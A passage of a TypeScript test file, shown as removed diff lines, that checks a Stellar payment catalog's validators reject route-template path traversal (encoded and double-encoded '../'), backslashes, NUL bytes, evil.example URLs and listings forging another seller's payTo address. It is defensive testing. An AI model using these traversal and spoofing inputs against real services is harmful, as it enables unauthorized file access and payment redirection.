() => ({ - checkCatalogWriteRate: mockCheckRate, -})) - -import { submitCatalogListing, queryDiscoveryResources } from '../bazaar/catalog' -import { - CATALOG_LIMITS, - fullyPercentDecode, - stripControlChars, - toExtensionResponses, - validateListing, - validateRouteTemplate, - type CatalogAuthority, -} from '../bazaar/validation' -import type { RegisterBazaarResourceInput } from '../bazaar/types' - -/** Obviously synthetic, but shaped like a real strkey so the address check passes. */ -const SELLER = 'G' + 'A'.repeat(55) -const ATTACKER = 'G' + 'B'.repeat(55) - -const authority: CatalogAuthority = { payTo: SELLER, network: 'mainnet' } - -function listing(overrides: Partial = {}): RegisterBazaarResourceInput { - return { - type: 'http', - network: 'mainnet', - resource: { url: 'https://lens.example/price/XLMUSDC' }, - accepts: [ - { - scheme: 'exact', - network: 'stellar:pubnet', - amount: '1000000', - asset: 'CCW67TSZV3SSS2HXMBQ5JFGCKJNXKZM7UQUWUZPUTHXSTZLEO7SJMI75', - payTo: SELLER, - maxTimeoutSeconds: 60, - }, - ], - bazaar: { - info: { input: { type: 'http', method: 'GET' } }, - schema: { type: 'object' }, - }, - ...overrides, - } -} - -function codes(drops: { code: string }[]): string[] { - return drops.map(d => d.code) -} - -beforeEach(() => { - mockFindFirst.mockReset().mockResolvedValue(null) - mockUpsert.mockReset().mockResolvedValue({}) - mockFindMany.mockReset().mockResolvedValue([]) - mockCount.mockReset().mockResolvedValue(0) - mockCheckRate.mockReset().mockResolvedValue({ allowed: true }) -}) - -describe('fullyPercentDecode', () => { - it('decodes to a fixed point rather than once', () => { - expect(fullyPercentDecode('%252e%252e%252f')).toEqual({ ok: true, decoded: '../' }) - }) - - it('leaves an already-decoded value alone', () => { - expect(fullyPercentDecode('/price/:pairId')).toEqual({ ok: true, decoded: '/price/:pairId' }) - }) - - it('reports malformed encoding instead of throwing', () => { - expect(fullyPercentDecode('%zz')).toEqual({ ok: false, code: 'malformed_encoding' }) - }) - - it('refuses a value still changing after the decode budget', () => { - let value = '../' - for (let i = 0; i < CATALOG_LIMITS.percentDecodePasses + 1; i++) { - value = value.replace(/%/g, '%25').replace(/\./g, '%2e').replace(/\//g, '%2f') - } - expect(fullyPercentDecode(value)).toEqual({ ok: false, code: 'excessive_encoding' }) - }) -}) - -describe('validateRouteTemplate', () => { - const url = 'https://lens.example/price/XLMUSDC' - - it('accepts a canonical :param template that describes the resource path', () => { - const result = validateRouteTemplate('/price/:pairId', url) - expect(result).toEqual({ ok: true, value: '/price/:pairId' }) - }) - - it('rejects %2e%2e%2f — percent-decoded BEFORE the traversal check', () => { - const result = validateRouteTemplate('/price/%2e%2e%2fadmin', url) - expect(result.ok).toBe(false) - if (!result.ok) expect(codes(result.drops)).toContain('path_traversal') - }) - - it('rejects a plain ../ traversal', () => { - const result = validateRouteTemplate('/price/../admin', url) - expect(result.ok).toBe(false) - if (!result.ok) expect(codes(result.drops)).toContain('path_traversal') - }) - - it('rejects double-encoded traversal', () => { - const result = validateRouteTemplate('/price/%252e%252e%252fadmin', url) - expect(result.ok).toBe(false) - if (!result.ok) expect(codes(result.drops)).toContain('path_traversal') - }) - - it('rejects a backslash separator', () => { - const result = validateRouteTemplate('/price\\..\\admin', url) - expect(result.ok).toBe(false) - if (!result.ok) expect(codes(result.drops)).toContain('backslash') - }) - - it('rejects an absolute URL and a protocol-relative one', () => { - expect(validateRouteTemplate('https://evil.example/price/:pairId', url).ok).toBe(false) - expect(validateRouteTemplate('//evil.example/price', url).ok).toBe(false) - }) - - it('rejects a query string or fragment', () => { - expect(validateRouteTemplate('/price/:pairId?admin=1', url).ok).toBe(false) - expect(validateRouteTemplate('/price/:pairId#x', url).ok).toBe(false) - }) - - it('rejects a NUL byte', () => { - const result = validateRouteTemplate('/price/%00', url) - expect(result.ok).toBe(false) - if (!result.ok) expect(codes(result.drops)).toContain('control_characters') - }) - - it('rejects a template that does not describe the resource path', () => { - const result = validateRouteTemplate('/admin/:id', url) - expect(result.ok).toBe(false) - if (!result.ok) expect(codes(result.drops)).toContain('template_url_mismatch') - }) - - it('rejects a malformed parameter name and a repeated one', () => { - expect(validateRouteTemplate('/price/:1bad', url).ok).toBe(false) - expect(validateRouteTemplate('/:pairId/:pairId', 'https://lens.example/a/b').ok).toBe(false) - }) - - it('rejects a template past the length limit', () => { - const long = '/' + 'a'.repeat(CATALOG_LIMITS.routeTemplate + 1) - const result = validateRouteTemplate(long, url) - expect(result.ok).toBe(false) - if (!result.ok) expect(codes(result.drops)).toContain('too_long') - }) -}) - -describe('validateListing — seller identity', () => { - it('accepts a listing whose accepts[] matches the payment payTo', () => { - const result = validateListing(listing(), authority) - expect(result.ok).toBe(true) - }) - - it('refuses a listing that claims another seller payTo', () => { - const forged = listing({ - accepts: [{ ...listing().accepts[0], payTo: ATTACKER }], - }) - const result = validateListing(forged, authority) - expect(result.ok).toBe(false) - if (!result.ok) expect(codes(result.drops)).toContain('pay_to_mismatch') - }) - - it('refuses a listing registered against a different network than the payment', () => { - const result = validateListing(listing({ network: 'testnet' }), authority) - expect(result.ok).toBe(false) - if (!result.ok) expect(codes(result.drops)).toContain('network_mismatch') - }) - - it('refuses accepts[] whose CAIP-2 network contradicts the payment', () => { - const mismatched = listing({ - accepts: [{ ...listing().accepts[0], network: 'stellar:testnet' }], - }) - const result = validateListing(mismatched, authority) - expect(result.ok).toBe(false) - if (!result.ok) expect(codes(result.drops)).toContain('network_mismatch') - }) - - it('refuses a payTo that is not a Stellar address, even when it matches the payment', () => { - const result = validateListing( - listing({ accepts: [{ ...listing().accepts[0], payTo: 'not-an-address' }] }), - { payTo: 'not-an-address', network: 'mainnet' }, - ) - expect(result.ok).toBe(false) - if (!result.ok) expect(codes(result.drops)).toContain('invalid_address') - }) -}) - -describe('validateListing — field limits', () => { - it('refuses a description past the limit', () => { - const result = validateListing( - listing({ resource: { url: 'https://lens.example/price/XLMUSDC', description: 'x'.repeat(CATALOG_LIMITS.description + 1) } }), - authority, - ) - expect(result.ok).toBe(false) - if (!result.ok) expect(codes(result.drops)).toContain('too_long') - }) - - it('refuses more tags than the limit, and a tag with illegal characters', () => { - const tooMany = validateListing( - listing({ - resource: { - url: 'https://lens.example/price/XLMUSDC', - tags: Array.from({ length: CATALOG_LIMITS.tags + 1 }, (_, i) => `tag${i}`), - }, - }), - authority, - ) - expect(tooMany.ok).toBe(false) - - const illegal = validateListing( - listing({ resource: { url: 'https://lens.example/price/XLMUSDC', tags: ['